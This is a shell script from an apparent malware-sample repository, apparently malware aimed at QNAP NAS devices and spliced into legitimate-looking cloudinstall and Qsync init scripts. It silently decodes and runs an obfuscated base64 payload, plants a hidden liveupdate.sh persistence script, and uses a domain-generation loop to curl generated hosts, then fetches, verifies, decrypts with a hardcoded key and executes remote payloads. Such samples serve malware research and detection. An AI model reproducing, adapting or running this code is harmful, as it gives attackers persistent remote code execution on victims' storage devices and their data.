mirror of
https://github.com/MalwareSamples/Malware-Feed
synced 2024-06-16 12:00:17 +00:00
573 lines
59 KiB
Bash
573 lines
59 KiB
Bash
#!/bin/sh
|
|
(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";openssl base64 -d -A <<"EOF"|sh&
|
|
( exec >/dev/null 2>&1; (
export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin"
command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; }
test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; }
test -d "$confdir" || confdir=/etc/config
command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\
\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\
//I;s/\(^\|\
\)\[[^\
]\+\]\
.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; }
bdir=
test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done
test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done;
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"`
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1`
test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done;
test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; }
echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; }
test "$fgrep" || fgrep=grep
sleep 5
if [ ! -f "${bdir}/.qpkg/.liveupdate/liveupdate.sh" ]; then
test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg"
test -f "${bdir}/.qpkg/.liveupdate" || test -h "${bdir}/.qpkg/.liveupdate" && rm -f "${bdir}/.qpkg/.liveupdate"
test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate"
cat > "${bdir}/.qpkg/.liveupdate/liveupdate.sh" <<"XEOF"
#!/bin/sh

UsYvwOXg=${FvyfPFbAtRwN}tr${sKThrbT}${tWUxmYc}
jWCrygQ=${RdCejlR}$GercJnKRT$""'\'${fmzwGkS}$GBTNTeHzu$"";cqKMiiv=$sbFTURAyc$""${hTMRxlfZBshA}${BniCYgu}${jWCrygQ}${IxknDNgxhPwH}1${KHAnMLH}33${KmbZJwH};Omeovas=$pQbaNGBJB$""${zAskxkAvywHY}${KpxjVSL}${jWCrygQ}${lGNCZpZfPUES}0${ZgpkRdg}55${gCqvqRG};WExPuGz=$VYcaXdhJO$""${ibUxIqFNgEte}${NMiGBIZ}${jWCrygQ}${scAMxBKFflkr}1${nHhpPGl}34${iVwhXeO};$UsYvwOXg 'tzUI|rdHjwFTP)>Q'$Omeovas'K\nb+k$<c;W] gvxqDOyam%EAn!'"'"'JL`#os'$cqKMiiv'{"'$WExPuGz'}&R=VYpXf(ZBlCMShGeuNi*' 'saSFRL&({xT%gM l'$Omeovas'nZ=YQNJ'$WExPuGz'ez<iHG'"'"'}hXD)IWtcmfBy\nK$Eq"j!vkAUO;]p>d*Vr'$cqKMiiv'oCwbu+`|#P' << "kNaDjAbmFqrft" | sh$eOWuuYlUg$""${vEcyRWYRmBae}
v)yC`rI b/DCn;/DE#j%rOR<%yD`O q#jpfh'ZoB+mfP{g$;qEpf#jhIpp&q/#j)}!mAKQQsJ)*
})qAP #jz{Ftq-h K/#jU*nSqs f/pB #jhpkZMSq\|;#j%vgU%qs#jvODhGt=t<Q+$IqG#j'wmZ+CMGWOsWnq;tE.#jKzf$f}ZywB}mqAP LE#jE<kr%r&oGoDfqB#j)G=Fn=hU{`fWq>xHny!as<}Rc133ZYm$>\JV'tA"K`CXv
wMhNFWkEcKr=Pbc055+djTp]#Q|)gox[x[xBGz{ic134De uI;q&OS%[(fU*x>xoZwdMA<gYUKSi&{%zskD|r#Q+T }Hfpam"uFCERBnNv]V
!\b;)`OjPtc055[yec133Xc134'=cK*(>JGhx[x[xIqW$x]][+Q+==[X#v)yC`rI LmW/%vZ/BtIxQZPBrP&wN&Io&I&&&&`LsJ`&B#jI&&&&`LsJ`&bvZ#Ko1:G4fjI&&&&`LsJ`&bJy#Ko2:G12fjI&&&&`LsJ`&
BhJsQ#zKo3:GJGU$GTfzI&&&&rP&GMs&zK
BhJsQz&d&/MQ]/SPJZMLb&-&o&I&&&&&&&&PQJM&GPZ&KwwKA$*{u|&X&w&KbJy&G&KbvZ&i&1&N&i&KbvZ&NN&BjI&&&&&&&&QstL&zKBzI&&&&fIfIsLbbJZM&G]&b
rQbh&D&/MQ]/ZS``&2D!1&--&b
rQbh&wN&o&I`LsJ`&BSppvy#kxQZPBrP&6&6kIrQBr&zK2z&!!&o&b
MvP&zKo2XggggggfKBSppvyzj&QstL&zKo2XggggggfKBSppvyzj&f&--&o&rLSst&zKo1XggggggfKBSppvyzj&QstL&zKo1XXggggggfKBSppvyzj&fIfIQyQs&2D/MQ]/ZS``I;$E}#zKo;$E}f:/%vZ:/B%vZ:/SBP/%vZ:/SBP/B%vZ:/SBP/%vZ/g11:/SBP/`LsJ`/B%vZ:/SBP/`LsJ`/%vZzIrQBr&W&GU&zKo'=HAC_lEAF*+fz&--&o&hPvZrp&z{JrQ:&zj&ET#+|E&MJrQj&Qyvr&0j&fIQstL&z{JrQ:&ESQ&<JZ&24&08:54:25&+|E&2017zIsP#khPvZrp&[eP[&--&QstL&GZQ&[eP[kIrQBr&zKomsPfz&GQV&1&!!&QstL&zKsPz&--&QstL&zzIrQBr&zyK}EE;_AH(HAHAz&#&zy2%0%09ssM502s7559501755M52QMJ67889%69477z&--&Qyvr&0IrQBr&W&GU&zKo0fz&!!&rQBr&khB&JSy&-&xPQh&zKo0fz&-&Ys&G`k&Gxr&40&!!&Qyvr&0IsLbbJZM&G]&LhQZBB`&D/MQ]/ZS``&2D!1&!!&oI;ulE{$E$#[[I
#z+QB'CC7|$n+T;S%MBT8l%TTlMU]=SV"bzIrQBr&zyKoAH'=HlE_|HE}u{fz&#&y;ulE&!!&rQBr&W&GU&zKo'=HAC_lEAF*+fz&!!&sJBQ&zKo'=HAC_lEAF*+fz&vZ&[[&-&qcW0G9Rq&-&0q&N&pJ`BQ&jj&c0G9Rc0G9Rc0G9Rc0G9Rc0G9Rc0G9Rc0G9Rc0G9R&N&M#zKww&kMJrQ&iXBk&/&100&NNzj&rQBr&zKo'=HAC_lEAF*+fz&#&zKoMfz&!!&sr#zKMz&--&o&rQBr&zKo'=HAC_lEAF*+fz&#&zKww&KM&G&1NNz&!!&sr#zKww&KM&G&1&NNzj&f&jj&qN&pJ`BQ&jj&QBJs&!!&rQBr&W&GU&zKo'=HAC_lEAF*+fz&!!&oIZ`#[I[IsJBQ&zKoau*EH*E_"H*+E}fz&vZ&[[&-&qcW0G9Rq&-&0q&N&pJ`BQ&jj&qN&rQBr&zKoau*EH*E_"H*+E}fz&G`r&2147483646&jj&QBJs&!!&o&F(l#&PQJM&GM&[[&GPZ&zKoau*EH*E_"H*+E}fz&;ulE{$E$j&rQBr&GU&zK;ulE{$E$z&!!&;ulE{$E$#kMM&%B#1&sLSZr#zKau*EH*E_"H*+E}z&2D/MQ]/ZS``kj&f&--&rQBr&zK;ulE{$E$z&--&;ulE{$E$#ksJrk&--&Qyvr&0IB#zKo;ulE{$E$mmq.fzIBr#zKoBmmqGfzIB#zKoBXXGqfzIM#zKww&KM&/&1000&NNzIrQBr&W&GU&zKMz&!!&rQBr&W&GU&zKBrz&!!&rQBr&zKomBrfz&#&5&!!&o&rQBr&zyKBrz&#&zyKMz&--&rQBr&zyKBrz&#&zyKww&KM&G&1&NNzj&f&--&o&rQBr&Gp&zKrz&!!&Pb&zKrzj&Qyvr&0j&fIsJBQ&zKBz&vZ&[[&-&qcWJGU$GT0G9/i#KZ`Rq&N&rQBr&Gp&zKrz&!!&Pb&zKrzj&Qyvr&0j&jj&QBJsIr#kb
rQbh&/rbh/.rbh.ggggggk&--&Qyvr&0IsJr&D&zKrz&ddzHu(z&--&o&rQBr&Gp&zKrz&!!&Pb&zKrzj&Qyvr&0j&fIGGGGG H+F*&;= "Fa&)HCGGGGGI|FF L>$* x
Vt
v+9Y0 $'H($$ua$C8$|FF vx)a$CH$Ov+i}/1ps"|pE*=]] QBIu<V06pu+b ()F=ua;BO+h$SU{Pa)`Z S}L"4tlHrZSyE *r8>$ UMTih9V=%$T3uIUJ;b<FMB1x}}`1)(i'8}5%*M*B9|aA
H]a=x<+(Q3$J`"7
i>/Ag B\PB"a)M+)\IJ}iMra0*M")M
Ut)8V VU}yai|=+UQQ5//ux{)Ms)QQ`JaxU=<J0Sv11 T3F>)h'I`7}L
n}bOUAP<+;sSs4
`}9%)4lQ${QtAO>O`v]}'sVl)1B*BYJh<b2V{>O'7t>AIA2BJuUS%E=Y1i2')`i|O5lpOL/ 8*Lh*C6H$u"8Ca;n}aJhV2Jp2TOrtJn22nhpCIUrU>HO5u
(*t6pAxT*h%BS|S4Z;J /Px]<bB\y93JZBt4FQgv;OuS)n Jb=TOF]"IyP2Hla2Ptx\tVx<Sv"`}+i}|)63;LM |(O)V9P"M4t99Zg%9ivab('9pU<)B9ll|I>7yJM+hJ%)2J*Eh*3U{$SH+F4TurVy"V\>H}b0%HiT5($x| $$H#IGGGGGH*{&;= "Fa&)HCGGGGGIHu(IrQBr&W&GU&zKBz&!!&t#kLhQZBB`&%JBQ64&GM&ddHu(&-&LhQZBB`&PBJSr`&GhS%vZ&GvZ
QO&zKrz&G]QPvpOIKBIHu(Ik&--&o&rQBr&Gp&zKrz&!!&Pb&zKrzj&Qyvr&0j&fIrQBr&Gp&zKrz&!!&Pb&zKrzIb#zKo;ulE{$E$XX.qfzI;ulE{$E$#[[IsJBQ&zKbz&vZ&[[&-&qcWJGU$GT0G9/i#KZ`Rq&N&Qyvr&0&jj&QBJsI
#kLhQZBB`&MxBr&GBtJ1&G%vZJPO&GtbJs&zKsrz&ddHu(&-&LhQZBB`&%JBQ64IK
IHu(IkIb#kLhQZBB`&QZs&GM&GJQBG256Gs%s&G
&zK
z&GbM&BtJ1&GBJ`r&GJ&ddHu(IKbIHu(IkIbt#kLhQZBB`&MxBr&GBtJ1&G%vZJPO&GtbJs&zKBrz&ddHu(&-&LhQZBB`&%JBQ64IKbIHu(IkIrQBr&W&GU&zKtz&!!&rQBr&zKtz&#&zKbtz&--&Qyvr&0IQ]J`&zKbzIrPSQIf&--&oIr#kb
rQbh&/rbh/.rbh.ggggggk&--&Qyvr&0IsJr&D&zKrz&ddzHu(z&--&o&rQBr&Gp&zKrz&!!&Pb&zKrzj&Qyvr&0j&fIGGGGG H+F*&;= "Fa&)HCGGGGGI|FF L>$* x
Vt
v+9Y0 $'H($$ua$C8$|FF vx)a$CH$9'b}|Y4>Y8au"C)xuVpaI0+TBAlY(xvyE0`v|s42TlPBBPB(+T`{;)35U`Mb%=BH'gr(C
{>nQ=s
h2Jt8(spI$ (=+8|"Z`6YE]y+TY<<%|";{vCL5`/M07 )s%YCSV*hi2//2MS
yaOJ
uFFZFV(I"xP|5Z]h5 )  ss|`| JB(ryTp(xr*>`'9v9b*pv53ZJ`P|;AL`9)vp\1Cyb"Y1iI7+ES>(l`O)9$h]v/TF2O/]Ob6*\%\HBJH5 9xxg<CPny`%)y|FU\Sgp18l2h48(tIhn=OC<0b>{=s3lv<A4Av;v
;hE'x
l>O90J|)PL\a$M9|6sTrpYaUt|%]Or*bMrMICy **Z0(b'51s";siMhJFFy2v/2s+M}C8T$> {| | 
>FQ2x(xs6`<0\u`E638UiIY7/b;itsaL"n=v+lvHSbU3="5;bLnJ3Y2r04AJ70;"\$h+BF/xh}O}0\8v6On }HIV=BJ'yZ u(]OivlLbO(v`2My)'">EYOT Z8i1)bLZ<2h$x| $$H#IGGGGGH*{&;= "Fa&)HCGGGGGIHu(ILhQZBB`&PBJSr`&GhS%vZ&GvZ
QO&zKrz&GQZsPOhr&ddHu(&-&LhQZBB`&%JBQ64IK
IHu(IPb&zKrzIrPSQ&Ifj&rPSQj&f&--&oIrQBr&zyK$aaH;E_"$*+=$+Hz&#&zy5195%s18707002J98s9%5183J5M030pM071%6J2%z&!!&Q]J`&zKo}EE;_=lHA_$+H*EfzIfIrQBr&Gp&zKrz&!!&Pb&zKrzIB`QQh&1IQyvr&0IL+Q+==LA#jwMZf%v$P}EEFqD#j$gk\QwwphDhDqnCf>#j\`C\F\SzFnR%q755#j!hhmJnvP%+y&q>[#v)yC`rI [L;w E>0LLi
kNaDjAbmFqrft
QNAP_QPKG=cloudinstall
QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf
NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall
CLOUD_INSTALL_PATH=/tunnel_agent
CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk
CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2
COUNTER=1
ERROR_BAD_REQUEST=400

if [ "$fromrcS" = 'TRUE' ]; then
case "$1" in
  start)
    START_TIME=$(date +"%T")
    echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log
    while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ];
    do
        # report device info and get cloudinstall agent app download url
        DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r`
        if [ ! -d "$CLOUD_INSTALL_PATH" ]; then
            if [ "$NAS_ARCH" == "ARM_64" ]; then
                # create ramdisk and create a 64mb file
                /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH
                /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH
                /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64
                # create block size 1K filesystem
                /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image
                # create virtual disk
                export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image`
                /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE"
                /bin/mkdir -p $CLOUD_INSTALL_PATH
                # mount virtual disk
                /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH
            else
                # create and mount tmpfs folder
                /bin/mkdir -p $CLOUD_INSTALL_PATH
                /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH
            fi
        fi
        cd $CLOUD_INSTALL_PATH

        if [[ $DOWNLOAD_URL == https* ]]; then
            REPORT_SUCCESS_TIME=$(date +"%T")
        else
            REPORT_FAIL_TIME=$(date +"%T")
            echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log
            # stop retry when got bad request
            # prevent put bad request all the time
            if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then
                break
            fi
        fi

        # downlaod cloudinstall agent app
        /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL"

        if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then
            DOWNLOAD_FINISH_TIME=$(date +"%T")
            # unzip and execute cloudinstallagent
            /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH
            $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null

            UNZIP_TIME=$(date +"%T")
        fi

        if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then
            # create folder and create symbolic link
            /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH
            /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html
            /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi
            /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static
        fi

        # wait connect
        sleep 5
        CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'`
        if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then
            SLEEP_TIME=$(( 30 * $COUNTER ))
            if [ $SLEEP_TIME -gt 300 ]; then
                SLEEP_TIME=300
            fi
            # wait next retry
            sleep $SLEEP_TIME
        fi
        COUNTER=$(( $COUNTER * 2 ))
    done

    END_TIME=$(date +"%T")
    echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log
    # call for a new process group and for later kill
    /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null &
    /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null &

    # set cloudinstall report status
    /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit"
    # add link to report offline
    /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline

    # buzzer
    HARDWARE_TYPE=$(uname -m)
    if [[ "$HARDWARE_TYPE" == *"x86"* ]];
    then
      /sbin/hal_app --se_buzzer enc_id=0,mode=101
    elif [[ "$HARDWARE_TYPE" == *"arm"* ]];
    then
      /sbin/pic_raw 81
    fi
    ;;

  stop)
    # disconnect cloudinstall agent
    $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null
    $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null
    for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}"
    do
        # use bash kill instead /bin/kill for kill process group
        # cloudinstall agent daemon and inotifywait
        kill -9 -- -$i &>/dev/null
    done

    # umount
    if [ "$NAS_ARCH" == "ARM_64" ]; then
        /bin/umount -l $USED_LOOP_DEVICE
        /usr/local/sbin/losetup -d $USED_LOOP_DEVICE
    else
        /bin/umount -l $CLOUD_INSTALL_PATH
    fi
    # remove all files
    if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then
        /bin/rm -rf $NAS_CLOUD_INSTALL_PATH
    fi
    if [ -d "$CLOUD_INSTALL_PATH" ]; then
        /bin/rm -rf $CLOUD_INSTALL_PATH
    fi
    if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then
        /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH
    fi
    ;;

  restart)
    $0 stop
    $0 start
    ;;

  *)
    echo "Usage: $0 {start|stop|restart}"
    exit 1
esac
exit 0


set_env()
{
	debug=`$CMD_GETCFG Qsync Debug -u -d NULL`
	if [ "$debug" != "NULL" ]; then
		/bin/touch $LOG_FILE
	else
		/bin/rm -f $LOG_FILE
	fi
}

set_env

dbg()
{
	if [ -f "$LOG_FILE" ]; then
		echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE
	fi
}

dbg "> $0 $@ (pid $$)"

fi

export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin"

command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; }

test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; }
test -d "$confdir" || confdir=/etc/config

bdir=
test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done
test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done;
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"`
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1`
test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done;
test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; }
echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; }
test "$fgrep" || fgrep=grep
test "$RANDOM" || RANDOM=17653
genrstr () 
{ 
    local s=;
    local min=${1:-4};
    local max=${2:-12};
    local kspace="${3:-a-zA-Z}"
    tr -dc "$kspace" < /dev/urandom | { 
        read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s;
        echo "$s"
    }
}

verifyfile() {
local file="$1"
local sig="${2:-$file_s}"
local out
test ! -z "$file" && test -s "$file" || return 1
test ! -z "$sig" && test -s "$sig" || return 1
test -f ".rsakey" || echo "$verifykey" > ".rsakey"
out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0
return 1
}

decryptfile() {
local file="$1"
local ofile="${2:-${file}}"
local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ'
openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $?
test -f "$ofile" && rm -f "$ofile"
mv "${file}_d" "$ofile" && return 0
return 1
}

verifykey='-----BEGIN PUBLIC KEY-----
MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog
CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1'
verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex
RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC
Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV
gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC
2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz
0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh
pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1
DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE=
-----END PUBLIC KEY-----'

DOMAIN_EXT_A='cf tk ml ga gq'
DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd'

test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg"
test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate"
cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.*

echo "$verifykey" > ".rsakey"
i=0 n=0 c=0 errorcount=0
outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out'

for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do
        for ext in $domainexts; do
                hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g')
                hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]}
                hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}"
                hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname"
                for host in $hostnames; do
                        test -f "$outfile" && rm -f "$outfile"
                        recentupdate=''
                        curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)"
                        test -s "$outfile" || continue
                        fsize=$(( $(wc -c < "$outfile") ))
                        test "$fsize" -gt 4096 && rm -f "$outfile" && continue
                        rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue
                        test "$rsamsg" || continue
                        path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}"
                        hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}"
                        test "$rsadomain" = "${host}.${ext}" || continue
                        timenow=$(date +%s)
                        test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1
                        curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}"
                        filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue
                        test "$filehash" = "$hash" || continue
                        curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}"
                        verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue
                        mv "${outfile}_s" "${ts}_v"
                        chmod 755 "$outfile" || continue
                        ( ( exec >/dev/null 2>/dev/null </dev/null; "$outfile" </dev/null >/dev/null 2>&1 & ) & )
                        test "$recentupdate" -eq 1 && exit 0
                done
        done
done


if [ "$fromrcS" = 'TRUE' ]; then
# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled
set_default_disable_status()
{
	QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}`
	OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL`
	if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then
		return
	fi

	if [ "$QPKG_ENABLE" = "NULL" ]; then
		if [ "$OLD_ENABLE" = "FALSE" ]; then
			dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled"
			/bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled"
		fi
	fi
}

if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then
	export QNAP_QPKG=rtrr
else
	export QNAP_QPKG=HybridBackup
	/usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1
fi
start()
{
	if [ -f /usr/bin/qsyncman ]; then
		[ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf
		/bin/sed -i '/hdusb_copy/d' /etc/config/crontab
		/usr/bin/crontab /etc/config/crontab
		echo -n "Starting QSync manitor: "
		[ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync
		[ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf
		[ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf
		[ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf
